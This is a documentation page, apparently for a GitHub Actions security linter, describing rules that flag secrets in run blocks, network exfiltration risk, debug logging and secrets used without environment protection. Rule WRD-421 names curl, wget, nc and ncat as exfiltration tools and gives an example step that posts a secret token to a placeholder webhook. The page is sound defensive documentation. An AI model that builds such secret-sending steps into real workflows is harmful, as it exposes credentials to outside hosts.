Keyboard shortcuts

Press or to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

Permissions Rules (400s)

These rules detect patterns where secrets or sensitive credentials are exposed through unsafe workflow configurations.


WRD-420: Secrets in Run Blocks

Severity: Medium

What it detects: ${{ secrets.* }} expressions interpolated directly in run: blocks instead of being passed through environment variables. Secrets in shell commands can leak through process listings, shell history, and error messages.

Vulnerable:

- run: curl -H "Authorization: Bearer ${{ secrets.API_KEY }}" https://api.example.com

Remediation: Pass secrets through step-level environment variables.

- env:
    API_KEY: ${{ secrets.API_KEY }}
  run: curl -H "Authorization: Bearer $API_KEY" https://api.example.com

WRD-421: Network Exfiltration Risk

Severity: Medium

What it detects: curl, wget, nc, or ncat commands in run: blocks that also reference secrets or credential-like environment variables. This pattern can indicate data exfiltration.

Vulnerable:

- env:
    TOKEN: ${{ secrets.DEPLOY_TOKEN }}
  run: |
    curl -d "token=$TOKEN" https://webhook.example.com/notify

Remediation: Review whether the network command needs access to secrets. Consider using dedicated actions for API calls instead of raw curl/wget with secrets.


WRD-422: Debug Logging Enabled

Severity: Medium

What it detects: ACTIONS_RUNNER_DEBUG or ACTIONS_STEP_DEBUG set to true in workflow environment variables. Debug logging can expose secrets and sensitive information in workflow logs.

Vulnerable:

env:
  ACTIONS_STEP_DEBUG: true

Remediation: Remove debug logging configuration from committed workflow files. Use repository-level debug settings only when needed for troubleshooting.


WRD-424: Secrets Used Outside Environment Scope

Severity: Medium

What it detects: A job references one or more secrets (other than the auto-injected GITHUB_TOKEN) but does not declare an environment:. Without an environment, secret access is not gated by deployment protection rules, required reviewers, or wait timers, so any path that triggers the workflow gets the secret.

The check walks each job in the workflow’s jobs: mapping, skips jobs that already declare environment:, and serializes the rest looking for secrets.<NAME> references. The first non-GITHUB_TOKEN secret it finds in an unprotected job emits the finding.

Vulnerable:

on: push

jobs:
  deploy:
    runs-on: ubuntu-latest
    permissions:
      contents: read
    steps:
      - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd  # v6.0.2
      - name: Push to PyPI
        env:
          PYPI_TOKEN: ${{ secrets.PYPI_API_TOKEN }}
        run: twine upload --username __token__ --password "$PYPI_TOKEN" dist/*

Remediation: Add environment: to the job and protect that environment with required reviewers, wait timers, or branch restrictions in the repository settings. This forces secret access through the deployment protection rules.

jobs:
  deploy:
    runs-on: ubuntu-latest
    environment: production   # gated by required reviewers
    permissions:
      contents: read
    steps:
      - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd  # v6.0.2
      - name: Push to PyPI
        env:
          PYPI_TOKEN: ${{ secrets.PYPI_API_TOKEN }}
        run: twine upload --username __token__ --password "$PYPI_TOKEN" dist/*